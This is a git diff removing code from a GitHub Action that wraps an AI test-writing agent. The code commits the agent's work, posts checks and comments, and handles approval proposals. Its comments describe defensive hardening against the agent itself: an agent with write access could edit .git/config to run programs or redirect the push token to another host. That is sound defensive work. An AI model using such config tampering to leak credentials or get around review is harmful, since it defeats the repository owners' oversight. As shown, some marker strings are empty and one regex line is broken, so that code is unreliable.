// result is untouched — that follows the build effect (FR-9). - const checkOutcome = - outcome === OUTCOMES.SUCCEEDED && - accessibilityFailsCheck(summary, { - wcag: bindingsDoc?.settings?.wcag, - failOnNew: bindingsDoc?.settings?.fail_on_new, - }) - ? OUTCOMES.TESTS_FAILED - : outcome - postCheck(checkOutcome, view, checkSha(plan.context, summary, env.GITHUB_SHA), annotations) - if (plan.context.pr) postComment(plan.context.pr, { ...view, approvalNote }) - - // Always exit 0. Whether the build goes red is the build effect's call, and - // a separate step applies it — otherwise the report never gets attached. - process.exit(0) -} - -/** - * Commit what the run wrote, onto the pull request's own branch — FR-42's - * "tests go in the pull request's own repository" applied to the run that - * produced them. - * - * A commit on the branch rather than a second pull request: someone who asked - * for tests on their change wants them on their change, not in a review queue - * behind it. - * - * Returns the line for the comment, or undefined when there was nothing to - * save. Never throws and never fails the run — the report is the product here, - * and a failed push that takes the whole run down loses the report too. - */ -function saveWork(saving, plan) { - if (!saving.ok) return undefined - const branch = plan.context.branch - if (!GIT_BIN) { - return `**Could not save this work to \`${branch}\`:** no trusted \`git\` was found on this runner (looked for a root-owned /usr/bin/git and /bin/git). Nothing was committed or pushed.` - } - - // .git/config decides whether git runs a program for us and where a push - // ends up, and the agent has just had --yolo write access to it. An - // ordinary actions/checkout never sets any of the keys this looks for, so - // one being present means the config was changed after the checkout. - // - // This runs before `git status`, because status can run a clean filter - // itself — by the time we have a file list it is already too late. - const unexpected = unexpectedConfigKeys(git(CONFIG_READ_ARGS).raw) - if (unexpected.length) { - return [ - `**Could not save this work to \`${branch}\`:** the repository's git config carries`, - `${unexpected.map((k) => `\`${k}\``).join(", ")}, which \`actions/checkout\` does not write. Config is`, - "where git keeps its \"run this program\" hooks and its URL rewrites, so Test Companion will not", - "commit against a config it does not recognise. Nothing was committed or pushed — the run's", - "changes are in the job's workspace only.", - ].join(" ") - } - // `-c core.quotePath=false` stops git octal-escaping non-ASCII bytes, so a - // path like café.spec.ts arrives as itself. unquote() decodes the escapes - // anyway, but not producing them is the better half of the fix. - const status = git(["-c", "core.quotePath=false", "status", "--porcelain"]) - if (!status.ok) return undefined - const { push, skip } = splitPushable(changedPaths(status.raw)) - if (push.length === 0) return undefined - - // Named paths, never `git add -A`: the agent ran shell commands of its own - // choosing and the tree may hold anything. Adding only what we listed is - // also what makes the comment's file list true by construction. - const added = git(["add", "--", ...push]) - if (!added.ok) return renderPushNote({ branch, files: push, skipped: skip, error: added.err || "git add failed" }) - - const subject = `test: ${plan.workflow ?? "Test Companion"} on ${String(plan.context.sha ?? "").slice(0, 7)}` - const body = [ - subject, - "", - `Written by Test Companion for ${plan.context.pr ? `#${plan.context.pr}` : plan.context.sha}.`, - `Run: ${RUN_URL}`, - ].join("\n") - const committed = git(["commit", "-m", body]) - if (!committed.ok) { - return renderPushNote({ - branch, - files: push, - skipped: skip, - error: committed.err || committed.out || "nothing to commit", - }) - } - - // Authenticate as the App when it is installed. Without this the push - // uses whatever actions/checkout left in .git/config, so a team that - // deleted the permissions block as we advise got a 403. - // - // The URL is built here from GITHUB_REPOSITORY rather than taken from the - // remote named `origin`. The agent has had write access to this tree, and - // `url..insteadOf` in .git/config silently redirects `origin` to any - // host — which would hand the App token to it. The credential header is - // scoped to this exact URL for the same reason. - const target = pushUrlFor(REPO, env.GITHUB_SERVER_URL) - if (!target) return renderPushNote({ branch, files: push, skipped: skip, error: `cannot push: bad repository name "${REPO}"` }) - const pushed = git(["push", target, `HEAD:refs/heads/${branch}`], pushCredentialEnv(env.GH_TOKEN, target)) - if (!pushed.ok) { - // The one failure worth spelling out, because it is a settings problem - // rather than a bug: the workflow's token is read-only by default. - const hint = /403|permission|denied|protected/i.test(pushed.err) - ? `${pushed.err} — the job needs \`permissions: contents: write\`, and the branch must not be protected against it.` - : pushed.err || "git push failed" - return renderPushNote({ branch, files: push, skipped: skip, error: hint }) - } - return renderPushNote({ branch, sha: git(["rev-parse", "HEAD"]).out, files: push, skipped: skip }) -} - -/** FR-48: one check, never neutral. FR-28: each failing test on its own line. */ -function postCheck(outcome, view, sha, annotations = [], status = "completed", title = undefined) { - if (!sha) return - const waiting = status === "in_progress" - const payload = { - name: "Test Companion", - head_sha: sha, - status, - // Which run this check belongs to. FR-35's `stop` reads it back: the - // check is posted on the PULL REQUEST's head commit, which is the one - // thing that reliably ties a run to the pull request it is about. - external_id: String(env.GITHUB_RUN_ID ?? ""), - details_url: RUN_URL, - output: { - title: waiting ? (title ?? "Waiting for approval") : outcome, - summary: renderJobSummary(view), - ...(annotations.length ? { annotations } : {}), - }, - } - // A check that is still running must carry no conclusion; GitHub rejects it. - if (!waiting) payload.conclusion = checkConclusion(outcome) - - // Update the check this run already made for this commit, rather than - // adding another. A run posts up to three times — in progress, the result, - // and the catch-all on a crash — so posting every time left two or three - // checks of the same name, and a proposal's in-progress one pending - // forever. FR-48 asks for one. - const { method, path } = checkRequestFor(sha, checksMade) - const res = gh(["api", `repos/${REPO}/${path}`, "--method", method, "--input", "-"], payload) - if (res?.id) checksMade.set(sha, res.id) -} - -/** The check this run has already created, per commit. See checkRequestFor. */ -const checksMade = new Map() - -/** Adopt a check another run created, so we update it instead of adding one. */ -function rememberCheck(sha, id) { - checksMade.set(sha, id) -} - -/** - * End the runs in flight on this commit — FR-35. - * - * The 30-second deadline in FR-35 is why this is a cancel call rather than a - * flag the next run would notice: asking GitHub to cancel is the only thing - * that stops work already underway. - */ -function cancelRunsOn(sha) { - // Our own check runs on this commit, NOT `actions/runs?head_sha=`. A run - // started by an issue_comment carries the DEFAULT BRANCH's sha, so that - // query matched nothing and neither `stop` nor a closed pull request ever - // cancelled anything (verified live, 2026-10-29). - const checks = gh(["api", `repos/${REPO}/commits/${sha}/check-runs?per_page=100`]) - const fromChecks = runIdsFromChecks(checks?.check_runs, { selfRunId: env.GITHUB_RUN_ID }) - // Unioned with the old head_sha query, which is still right for a run whose - // head sha genuinely IS this commit — a pull_request-triggered one — and - // whose check may not have been written yet. Wrong only for comment runs, - // which is exactly the gap the checks above close. - const list = gh(["api", `repos/${REPO}/actions/runs?head_sha=${sha}&per_page=100`]) - const fromRuns = chooseRunsToCancel(list?.workflow_runs, { - selfRunId: env.GITHUB_RUN_ID, - headSha: sha, - workflowName: env.TC_ACTION_SELF_WORKFLOW, - }) - const ids = [...new Set([...fromChecks, ...fromRuns.map(String)])] - let cancelled = 0 - let forbidden = false - for (const id of ids) { - const r = ghRaw(["api", `repos/${REPO}/actions/runs/${id}/cancel`, "--method", "POST"]) - if (r.status === 0) cancelled++ - else if (/403|Resource not accessible/i.test(r.stderr ?? "")) forbidden = true - } - return { found: ids.length, cancelled, forbidden } -} - -/** - * FR-36: a pull request closed without merging stops its run. - * - * Without the permission to cancel, FR-36 says the run finishes and the comment - * says it ran on a closed pull request — so this warns and lets it be, rather - * than failing anything. - */ -function cancelForClosedPr(payload) { - const sha = payload?.pull_request?.head?.sha - if (!sha) return - const { cancelled, forbidden } = cancelRunsOn(sha) - if (cancelled > 0) { - notice(`Test Companion: stopped ${cancelled} run(s) — the pull request was closed without merging.`) - } else if (forbidden) { - warn("Could not stop the run for a closed pull request: this workflow needs `actions: write`.") - } -} - -function stopRuns(plan, who) { - const sha = plan.context?.sha - const pr = plan.context?.pr - const { found, cancelled, forbidden } = cancelRunsOn(sha) - - if (found === 0) { - replyOnPr(pr, "Nothing of mine is running on this commit, so there was nothing to stop.") - return - } - - // FR-35: without the permission, say which one is missing rather than - // reporting a stop that did not happen. - if (cancelled === 0) { - replyOnPr( - pr, - forbidden - ? "I could not stop that run — this workflow needs `actions: write` to cancel a run." - : "I could not stop that run. It may have finished already.", - ) - return - } - replyOnPr(pr, `Stopped by @${who}.`) -} - -/** - * Which test framework the checked-out repository uses — FR-13. - * - * Two levels deep and skipping node_modules and dotted directories: deep - * enough for the common `e2e/playwright.config.ts` layout, shallow enough not - * to walk a monorepo. Every read is best-effort — a repository we cannot scan - * gets the generic starter, which is the honest outcome. - */ -function scanForFramework() { - let deps = {} - try { - const pkg = JSON.parse(readFileSync("package.json", "utf8")) - deps = { ...pkg.dependencies, ...pkg.devDependencies } - } catch { - // No package.json, or unreadable. A config file may still say. - } - - const filenames = [] - const walk = (dir, depth) => { - if (depth > 2) return - let entries = [] - try { - entries = readdirSync(dir, { withFileTypes: true }) - } catch { - return - } - for (const e of entries) { - if (e.name === "node_modules" || e.name.startsWith(".")) continue - const full = dir === "." ? e.name : `${dir}/${e.name}` - if (e.isDirectory()) walk(full, depth + 1) - else filenames.push(full) - } - } - walk(".", 0) - return detectFramework({ filenames, deps }) -} - -/** - * Open the pull request that adds the settings file — FR-13. - * - * A pull request rather than a direct commit, deliberately: the settings decide - * what Test Companion is allowed to do, so they go in the way every other - * change to that does — reviewed. - */ -function openSetupPr(plan, configPath) { - const framework = scanForFramework() - const { branch, title, body } = renderSetupPr(configPath, framework) - const base = settingsRef(readEvent(), env) - const baseSha = gh(["api", `repos/${REPO}/git/ref/heads/${base}`])?.object?.sha - if (!baseSha) { - replyOnPr(plan.context.pr, `I could not read the ${base} branch, so I have not opened anything.`) - return - } - - // An existing branch from an earlier attempt is fine to reuse; the file write - // below is what actually matters. - ghRaw(["api", `repos/${REPO}/git/refs`, "--method", "POST", "--input", "-"], { ref: `refs/heads/${branch}`, sha: baseSha }) - - const put = ghRaw(["api", `repos/${REPO}/contents/${configPath}`, "--method", "PUT", "--input", "-"], { - message: title, - content: Buffer.from(starterPipelineFor(framework), "utf8").toString("base64"), - branch, - }) - if (put.status !== 0) { - replyOnPr( - plan.context.pr, - `I could not write \`${configPath}\` — this workflow may need \`contents: write\`. The run summary has the file to copy by hand.`, - ) - return - } - - const opened = gh(["api", `repos/${REPO}/pulls`, "--method", "POST", "--input", "-"], { title, head: branch, base, body }) - replyOnPr( - plan.context.pr, - opened?.html_url - ? `Opened ${opened.html_url} with the settings file. Nothing runs until it merges.` - : `I pushed the settings to \`${branch}\` but could not open a pull request — this workflow may need \`pull-requests: write\`.`, - ) -} - -/** - * Drop proposals nobody answered — FR-44. - * - * This is what makes FR-44's in-progress check safe to post at all. A proposal - * that is never replied to would otherwise leave that check unresolved for the - * life of the pull request, and anyone who made "Test Companion" a required - * check is then blocked by a check that never arrives — the same failure - * Release 2 avoided by posting the tick at the END of a run. - * - * Runs on the nightly schedule, alongside whatever else is bound to it. - */ -function sweepExpiredProposals() { - const prs = flattenPages(gh(["api", `repos/${REPO}/pulls?state=open&per_page=100`, "--paginate", "--slurp"])) - for (const pr of prs) { - const sha = pr?.head?.sha - if (!sha || !pr?.number) continue - const comments = flattenPages(gh(["api", `repos/${REPO}/issues/${pr.number}/comments`, "--paginate", "--slurp"])) - if (!proposalNeedsDropping(comments, sha)) continue - - // Complete the check the PROPOSAL run left in progress, rather than - // adding a second one beside it. The sweep is a different process with - // an empty memo, so without this lookup the proposal's check stayed - // pending for the life of the branch — the "blocked by a check that - // never arrives" failure this sweep exists to prevent. - const existing = inFlightCheckId(gh(["api", `repos/${REPO}/commits/${sha}/check-runs?per_page=100`])?.check_runs) - if (existing) rememberCheck(sha, existing) - - // "Action required", per FR-44 — checkConclusion already maps Could not run - // to exactly that, and never to neutral, which branch protection reads as a pass. - postCheck(OUTCOMES.COULD_NOT_RUN, { outcome: OUTCOMES.COULD_NOT_RUN, summary: {}, runUrl: RUN_URL }, sha) - replyOnPr( - pr.number, - `That proposal went a day without a reply, so I have dropped it. The check now says Action required — comment again and I will put up a fresh one.\n\n${proposalDroppedMarkerFor(sha)}`, - ) - notice(`Test Companion: dropped a stale proposal on #${pr.number}.`) - } -} - -/** - * What the pipeline file binds to this event, with every value resolved — FR-43. - * - * Asks the CLI rather than parsing the YAML here: one parser, one schema, one - * place for it to drift. Returns undefined when the read fails, which - * decideGate treats as "hold for review" — failing closed. - */ -function readBindings(configFile, event, branch) { - // `--branch` narrows the same way a run does. Without it this returns - // bindings a `when:` clause would exclude, and pickBinding could hand - // decideGate the approval policy of a binding that never runs — reading - // `straight-through` off one while the CLI ran another, which skipped the - // gate in the direction that writes. - const base = ["workflow", "bindings", "--config", configFile, "--event", event] - const ask = (extra) => - spawnSync("tc", [...base, ...extra, "--json"], { - encoding: "utf8", - env: childEnvFor(env), - }) - - let r = branch ? ask(["--branch", branch]) : ask([]) - // An older CLI does not know --branch. Falling back is much better than - // losing the settings block entirely: without it there is no wcag, no - // targets, no tests_repo and no ask_team, and the run quietly behaves as - // though the repository had configured none of them. The cost of the - // fallback is only that bindings are not branch-narrowed, which is exactly - // how it behaved before the flag existed. - if (branch && r.status !== 0 && /unknown flag|unknown shorthand/i.test(r.stderr ?? "")) { - warn("This CLI does not support `workflow bindings --branch`; reading bindings without branch narrowing.") - r = ask([]) - } - if (r.status !== 0) { - warn(`Could not read the pipeline bindings: ${(r.stderr ?? "").trim().split("\n").pop()}`) - return undefined - } - try { - return JSON.parse(r.stdout) - } catch { - return undefined - } -} - -/** The binding a comment is asking for, or the one bound to the event. */ -function pickBinding(doc, workflow) { - const list = (doc?.bindings ?? []).filter((b) => b.enabled) - return workflow ? list.find((b) => b.workflow === workflow) : list[0] -} - -/** - * A plain reply in the thread — FR-33, FR-34. - * - * Deliberately NOT the tracked run comment: it carries no COMMENT_MARKER, so a - * later run neither overwrites a refusal nor adopts one as the place it reports. - */ -function replyOnPr(pr, body) { - if (!pr) return - gh(["api", `repos/${REPO}/issues/${pr}/comments`, "--method", "POST", "--input", "-"], { body }) -} - -/** FR-29: one comment, edited in place. */ -function postComment(pr, view) { - // `--slurp` matters: without it `gh --paginate` prints ONE JSON ARRAY PER - // PAGE, so the output of a pull request with more than 30 comments is - // `[...][...]`, JSON.parse throws, gh() returns null and `existing` becomes - // []. Every run then posted a NEW comment instead of editing its own, which - // is the single-comment guarantee in FR-29 (review finding, PR #3030). - const existing = flattenPages(gh(["api", `repos/${REPO}/issues/${pr}/comments`, "--paginate", "--slurp"])) - const choice = chooseCommentAction(existing) - const body = { body: renderComment(view) } - if (choice.action === "update") { - gh(["api", `repos/${REPO}/issues/comments/${choice.id}`, "--method", "PATCH", "--input", "-"], body) - } else { - gh(["api", `repos/${REPO}/issues/${pr}/comments`, "--method", "POST", "--input", "-"], body) - } -} - -// Spec section "The package itself crashes after the job finishes": the -// customer gets no tick and no comment, which is WORSE than a red tick — -// anyone who made the check required is blocked by a check that never arrives, -// with nothing on the pull request saying why. -// -// finishSkipped and the normal path both exit(0) from inside main, so reaching -// the catch at all means something unexpected threw. Report it as "Could not -// run", which is precisely what happened, and still exit 0 so the build-effect -// step is what decides whether the build goes red. -try { - main() -} catch (e) { - const message = e?.stack || String(e) - const fence = "```" - notice(`Test Companion could not complete: ${message}`) - addToJobSummary( - `## Test Companion \u2014 ${OUTCOMES.COULD_NOT_RUN}\n\nThe action itself failed before it could report.\n\n${fence}\n${message}\n${fence}`, - ) - setOutput("outcome", OUTCOMES.COULD_NOT_RUN) - setOutput("should-fail", String(stepShouldFail(env.TC_ACTION_BUILD_EFFECT, OUTCOMES.COULD_NOT_RUN))) - try { - // The commit we already posted the in-progress check on, NOT the - // event's sha: on a comment run GITHUB_SHA is the default branch's - // commit, so this used to post a second check on main and leave the - // pull request's one pending (B1). - postCheck( - OUTCOMES.COULD_NOT_RUN, - { outcome: OUTCOMES.COULD_NOT_RUN, summary: {}, runUrl: RUN_URL }, - checkSubjectFor(checksMade, env.GITHUB_SHA), - ) - } catch { - // Nothing left to try. The job summary above is still written. - } - process.exit(0) -} diff --git a/test-companion/package.json b/test-companion/package.json index 73b1f1b..57be12a 100644 --- a/test-companion/package.json +++ b/test-companion/package.json @@ -3,7 +3,7 @@ "version": "0.1.0", "private": true, "type": "module", - "description": "GitHub Action wrapper around the Test Companion CLI (STM-3663).", + "description": "GitHub Action wrapper around the Test Companion CLI.", "scripts": { "test": "node --test" }, diff --git a/test-companion/report.mjs b/test-companion/report.mjs deleted file mode 100644 index c2b2a4f..0000000 --- a/test-companion/report.mjs +++ /dev/null @@ -1,597 +0,0 @@ -/** - * What the run leaves behind — STM-3663 FR-27, FR-29. - * - * Only the rendering and the decisions live here, with no network calls, so the - * awkward parts are testable without a runner: whether a preview run is marked - * as one, and whether a second run adds a second comment or edits the first. - * The GitHub calls themselves are a thin layer in main.mjs over `gh`, which is - * preinstalled on every runner and already how this product talks to GitHub. - */ -import { CAPABILITIES } from "./intent.mjs" - -/** - * How a later run finds the comment it wrote earlier — FR-29 wants ONE comment, - * edited in place, not a new one per run. An HTML comment so a reader never - * sees it. - */ -export const COMMENT_MARKER = "" - -const previewRun = (summary) => summary?.preview === "true" - -/** - * What the run produced, in the words a reviewer actually wants — FR-27. - * - * Returns nothing for a run that generates no cases (rca, fix, verdict): a row - * reading "0 generated" on one of those looks like something went wrong. - * - * The case that matters most is cases generated and NONE saved. Left to a bare - * pair of numbers, "12 generated · 0 saved" reads as success to a skimming - * reader, which is the exact failure this whole feature exists to prevent — a - * real run produced 27 cases, reported "Succeeded", and lost all of them. - */ -function producedLines(summary, resultArtifact) { - const generated = Number(summary.cases_generated ?? 0) - const saved = Number(summary.cases_saved ?? 0) - if (!generated && !saved) return [] - - const lines = [`**Test cases:** ${generated} generated, ${saved} saved to Test Management.`] - if (saved > 0 && summary.saved_to) { - lines.push(`They are in \`${summary.saved_to}\`.`) - } - if (saved < generated) { - lines.push( - saved === 0 - ? "**Nothing was written to Test Management.** Download the result below to keep the cases." - : "Some of them were not saved. Download the result below for the full list.", - ) - } - if (resultArtifact) { - lines.push(`The full list is in the **${resultArtifact}** artifact on this run.`) - } - return [lines.join(" "), ""] -} - -/** - * How many failing tests the report names before it stops — FR-28. - * - * A suite that loses a hundred tests turns the check into a wall of text - * nobody reads. The first few plus a count is more useful than all of them, - * and every one is still annotated on the diff. - */ -const FAILURES_LISTED = 20 - -/** The failing tests, named, with where they are when that is known. */ -function failureLines(failedTests) { - const failures = failedTests ?? [] - if (failures.length === 0) return [] - - const lines = ["**Failed:**", ""] - for (const t of failures.slice(0, FAILURES_LISTED)) { - const where = t.file ? ` — \`${t.file}${t.line ? `:${t.line}` : ""}\`` : "" - lines.push(`- ${t.name}${where}`) - } - if (failures.length > FAILURES_LISTED) { - lines.push(`- …and ${failures.length - FAILURES_LISTED} more.`) - } - lines.push("") - return lines -} - -/** The run page's summary — written for every run, including the bad ones. */ -export function renderJobSummary({ - workflow, - outcome, - summary = {}, - runUrl, - cliVersion, - resultArtifact, - failedTests, - approvalNote, - answer, - workNote, - extraChecks = [], - warnings = [], -} = {}) { - const lines = [] - lines.push(`## Test Companion — ${outcome}`) - lines.push("") - - // FR-43: both asking and approving need write access, so one person doing - // both is not an escalation — but a reviewer reading the result should be - // able to see that no second pair of eyes was involved. - if (String(approvalNote ?? "").trim()) { - lines.push(`>${approvalNote}`) - lines.push("") - } - - // FR-42: a write that was configured and could not happen must be said out - // loud — a silent skip reads as "there was nothing to write". - for (const w of warnings) { - if (String(w ?? "").trim()) { - lines.push(`> \u26a0\ufe0f ${w}`) - lines.push("") - } - } - - if (previewRun(summary)) { - // FR-8. Without this a clean-looking report reads as "the work landed". - // Not "nothing was written": preview refuses Test Companion's own write - // TOOLS, and deliberately allows `execute_command` because that is how - // tests run (preview-tool-policy.ts). A shell command the agent chose can - // still edit a file or push, so claiming nothing was written overstates - // the guarantee (review finding, PR #3030). - lines.push( - "> **Preview** — Test Companion refused every one of its own write tools, so it created, changed and saved nothing itself. Shell commands the agent ran are not covered by that.", - ) - lines.push("") - } - - const rows = [ - ["Job", workflow ?? summary.workflow], - ["Trigger", summary.event], - ["Outcome", outcome], - ["Took", summary.duration], - // Credits, not dollars: it is the unit the bill and the pipeline file's - // own ceiling are written in, so a figure in dollars would not line up - // with the limit the run was given. - ["Cost", summary.credits ? `${summary.credits} credits` : ""], - ["CLI", cliVersion], - ].filter(([, v]) => v) - - lines.push("| | |", "|---|---|") - for (const [k, v] of rows) lines.push(`| ${k} | ${v} |`) - lines.push("") - - // For `rca` and `verdict` this IS the report — they produce no artefact, only - // an explanation. It goes directly under the table, above the run links, - // because it is the thing the person who commented actually asked for. - // Everything else leaves the view untouched: no answer, nothing rendered. - if (String(answer ?? "").trim()) { - lines.push(String(answer).trim(), "") - } - - lines.push(...failureLines(failedTests)) - lines.push(...producedLines(summary, resultArtifact)) - - // FR-43: what the approved run actually saved, and where. The run writes - // on a runner that is deleted minutes later, so this line is the only - // record a reviewer gets of what an agent changed in their branch. - if (String(workNote ?? "").trim()) { - lines.push(workNote, "") - } - - if (summary.error_type) { - lines.push(`**Why it stopped:** \`${summary.error_type}\``, "") - } - if (Object.keys(summary).length === 0) { - // Being explicit beats an empty page: an absent report is itself a finding. - lines.push("_The run left no report file. That usually means it was cancelled or could not start._", "") - } - if (runUrl) lines.push(`[Full run](${runUrl})`) - - // FR-45: the accessibility and visual lines, when the settings asked for them. - if (extraChecks.length > 0) { - lines.push("") - for (const l of extraChecks) lines.push(l) - } - - return lines.join("\n") -} - -/** The pull request comment — the same content, plus the marker. */ -export function renderComment(args) { - return `${renderJobSummary(args)}\n\n${COMMENT_MARKER}` -} - -/** - * Edit our comment, or write the first one. - * - * Only a comment WE wrote counts. Matching on the marker alone would let a - * person quoting our comment in their reply capture the thread, after which - * every run would overwrite their words. - */ -export function chooseCommentAction(comments) { - const ours = (comments ?? []).filter((c) => c?.user?.type === "Bot" && (c.body ?? "").includes(COMMENT_MARKER)) - if (ours.length === 0) return { action: "create" } - // Oldest, so repeated runs converge on one comment even if a duplicate - // somehow appeared. - const oldest = ours.reduce((a, b) => (a.id <= b.id ? a : b)) - return { action: "update", id: oldest.id } -} - -/** - * Which commit the "Test Companion" check is attached to. - * - * On a pull_request event GITHUB_SHA is the ephemeral MERGE commit, not the - * branch head. A check posted there does not appear on the pull request and - * cannot satisfy branch protection — which is exactly what the first live run - * did. The event's own head sha, which the planner already extracted, is the - * one a reviewer sees. - */ -export function checkSha(planContext = {}, summary = {}, githubSha) { - return planContext.sha || summary.sha || githubSha -} - -/** - * Someone without write access asked for a run — FR-33. - * - * This used to go only to the job summary, which the person who commented never - * opens: from where they sat, Test Companion ignored them. One line, naming who - * can ask, so the answer is where the question was. - * - * No COMMENT_MARKER, here or below. A refusal is not a run report, and - * chooseCommentAction takes the OLDEST marked comment as the one it edits — so - * a marked refusal would become the place every later run wrote its results. - */ -export function renderNotAuthorized(login, askTeam) { - const team = String(askTeam ?? "").trim() - return team - ? `@${login} — this repository has narrowed who can ask Test Companion for a run to the **${team}** team, so write access alone is not enough here.` - : `@${login} — only someone with write access to this repository can ask Test Companion for a run.` -} - -/** We could not place the request — FR-34: reply with what we can do, run nothing. */ -export function renderUnknownRequest() { - const lines = CAPABILITIES.map(({ ask, does }) => `- **${ask}** — ${does}`) - return [`I could not tell which job that was asking for, so nothing ran. Here is what I can do:`, "", ...lines].join("\n") -} - -/** FR-44: a proposal nobody answers is dropped after 24 hours. */ -export const PROPOSAL_WINDOW_MS = 24 * 60 * 60 * 1000 - -/** - * How a waiting proposal is recognised later — STM-5434 FR-43. - * - * Keyed to the COMMIT, which is what makes FR-44's "new commits replace the - * proposal" true without anything having to sweep: once the branch moves, the - * old proposal simply stops being found, so a "go" can never approve work that - * was proposed against different code. - */ -export function proposalMarkerFor(sha, requester, workflow) { - const by = String(requester ?? "").trim() - // The JOB travels with the proposal. Without it, approving a `fix` - // proposal ran whatever binding happened to be first in the pipeline file, - // because the GO path sets no workflow and the CLI then resolves one from - // the event alone. FR-43 is "what you saw is what runs". - const job = String(workflow ?? "").trim() - return `` -} - -/** - * The ONE pattern for a proposal marker, because the two readers have now - * drifted twice. - * - * findProposal learned about `workflow=`; findSupersededProposal, 200 lines - * away, did not — its pattern still required ` -->` right after the optional - * `by=`, so it matched no marker this branch writes and the "your plan is - * stale" reply silently died back to "No @test-companion mention", which is - * the exact failure it was written to fix. - * - * Groups: 1 = requester, 2 = workflow. Both optional, so markers written - * before either field existed stay readable. - * - * ONE LITERAL pattern, with the sha captured rather than interpolated. - * - * It used to be built per-search from the sha, which meant the sha had to be - * regex-escaped or it would quietly match OTHER commits — `a.c*d+` also finds - * `abcccd`, so a plan for one commit could be approved against another. The - * escaping was correct, but it was a rule every caller had to remember. - * - * Comparing captured text with `===` removes the rule instead of restating - * it: there is nothing to escape, nothing to get wrong, and no pattern built - * from input (which is also what Semgrep was pointing at — - * browserstack/github-actions#91, findings 9 and 12). - */ -const MARKER = // - -/** The marker's fields, or undefined when the comment has none. */ -const readMarker = (body) => { - const found = MARKER.exec(String(body ?? "")) - return found ? { sha: found[1], requester: found[2], workflow: found[3] } : undefined -} - -/** - * The commit a check we already posted belongs to — review of #3101, B1. - * - * The "in progress" check goes up BEFORE the CLI runs, so a later `stop` has - * something to cancel, and it is posted on the PULL REQUEST's head. Anything - * that finishes the run afterwards has to complete THAT check, on THAT - * commit. Reaching for the event's own sha instead is wrong on a comment run, - * where GITHUB_SHA is the default branch's commit: the second check lands on - * main and the pull request's one stays pending for ever. - */ -export function checkSubjectFor(made, fallbackSha) { - for (const sha of made?.keys?.() ?? []) return sha - return fallbackSha -} - -/** The proposal comment: what the run would do, and how to let it — FR-43. */ -export function renderProposal(body, sha, requester, workflow) { - return [ - body, - "", - "Reply **go** to run this for real. Nothing is written until you do — you can edit the list first, or say **stop** to drop it.", - "", - proposalMarkerFor(sha, requester, workflow), - ].join("\n") -} - -/** - * The proposal waiting on this commit, if there is one. - * - * Only a comment WE wrote counts, for the same reason chooseCommentAction - * checks: otherwise a person quoting our proposal in their reply could approve - * their own request. - * - * Fails CLOSED on an unreadable timestamp — treated as expired, so the worst - * case is a fresh proposal rather than approving one of unknown age. - */ -export function findProposal(comments, sha, now = Date.now()) { - // `by=` is optional so proposals written before the requester was recorded - // stay approvable rather than becoming stuck. - // `by=` and `workflow=` are both optional, so proposals written before - // either was recorded stay approvable rather than becoming stuck. - const want = String(sha ?? "").trim() - const ours = (comments ?? []).filter((c) => c?.user?.type === "Bot" && readMarker(c.body)?.sha === want) - if (ours.length === 0) return undefined - const newest = ours.reduce((a, b) => (a.id >= b.id ? a : b)) - const age = now - Date.parse(newest.created_at ?? "") - const mark = readMarker(newest.body) - return { - id: newest.id, - expired: !(age <= PROPOSAL_WINDOW_MS), - requester: mark?.requester, - // The job the person actually read and approved. Undefined on a - // proposal written before the marker carried one. - workflow: mark?.workflow, - // The run has to READ the approved plan to carry it out (FR-43), so the - // body travels with the decision rather than being fetched again. - body: newest.body ?? "", - } -} - -/** - * The plan an approved run must carry out — FR-43. - * - * FR-43 allows a reply of "go" WITH OR WITHOUT edits to the case list, and the - * edits win: someone looked at the proposal and changed it before approving. - * Handing the run only the original proposal would quietly discard that. - * - * The proposal's own marker is stripped. It is bookkeeping, and leaving it in - * invites the run to read it as an instruction. - */ -/** - * Did the approver change anything, or just say go? — FR-43. - * - * Worth knowing separately from the plan itself: edits made at approval time - * were reviewed by nobody but the approver, and on a self-approved run by - * nobody at all. That combination is reported rather than refused — see - * decideGate — but it cannot be reported if it is not detected. - */ -export function hasApproverEdits(replyText) { - const reply = String(replyText ?? "").trim() - if (!reply) return false - // A bare approval is not an edit. Presenting "go" as one would have the run - // looking for an instruction nobody gave. - return !/^(go|approved?)[\s.!]*$/i.test(reply) -} - -export function renderApprovedPlan(proposalBody, replyText) { - const plan = String(proposalBody ?? "") - .replace(//g, "") - .trim() - - const reply = String(replyText ?? "").trim() - const parts = ["# The approved plan", "", plan] - if (hasApproverEdits(reply)) { - parts.push("", "# Changes the approver made", "", reply, "", "Where these differ from the plan above, these win.") - } - return parts.join("\n") -} - -/** - * How a dropped proposal is remembered — FR-44. - * - * The sweep that drops proposals runs nightly. Without a record, it would post - * a fresh "Action required" check and a fresh comment on the same dead proposal - * every night for as long as the pull request stayed open. - */ -export function proposalDroppedMarkerFor(sha) { - return `` -} - -/** - * Is there a proposal on this commit that has run out of time and not yet been - * dropped? — FR-44. - * - * This exists because FR-44's in-progress check is only safe if something is - * guaranteed to end it. A proposal nobody answers would otherwise leave the - * check on "in progress" forever, and anyone who made it a required check is - * then blocked by a check that never resolves — the exact failure Release 2 - * avoided by posting the tick at the end of a run rather than the start. - */ -export function proposalNeedsDropping(comments, sha, now = Date.now()) { - const waiting = findProposal(comments, sha, now) - if (!waiting?.expired) return false - const dropped = proposalDroppedMarkerFor(sha) - return !(comments ?? []).some((c) => c?.user?.type === "Bot" && (c.body ?? "").includes(dropped)) -} - -/** - * The items out of a `gh api --paginate --slurp` response — FR-29. - * - * `--slurp` returns an ARRAY OF PAGES, not a flat array of items, and it wraps - * even when there is only one page. Verified against gh 2.91.0: twelve pages at - * per_page=2, and still `[[...]]` at per_page=100. - * - * Without this, chooseCommentAction is handed an array of arrays, matches - * nothing, returns "create" every time, and every run posts a NEW comment — - * the single-comment guarantee in FR-29, broken by the fix meant to protect it. - * `--slurp` was added to stop `[...][...]` from failing JSON.parse, which it - * does; the shape it produces instead was the part that got missed. - * - * Objects are not arrays, so flat() leaves an already-flat list alone. That - * keeps this correct if gh ever changes its mind. - */ -export function flattenPages(slurped) { - return Array.isArray(slurped) ? slurped.flat() : [] -} - -/** - * The accessibility and visual lines on the check — STM-5434 FR-45. - * - * Both are silent unless the settings asked for them, and both read their - * numbers from the run's summary file. Those keys — accessibility_new, - * accessibility_total, visual_changes, visual_url — are the contract between - * the run and this report. - * - * A check that was asked for and produced no number says so, rather than - * rendering nothing: an absent line reads as "clean", and claiming a pass for - * a check that never ran is the worst of the three outcomes. - */ -export function renderExtraChecks(summary = {}, { wcag, visual } = {}) { - const lines = [] - const level = String(wcag ?? "").trim() - - if (level) { - const introduced = summary.accessibility_new - if (introduced === undefined) { - lines.push(`**Accessibility (WCAG ${level.toUpperCase()}):** no result reported by 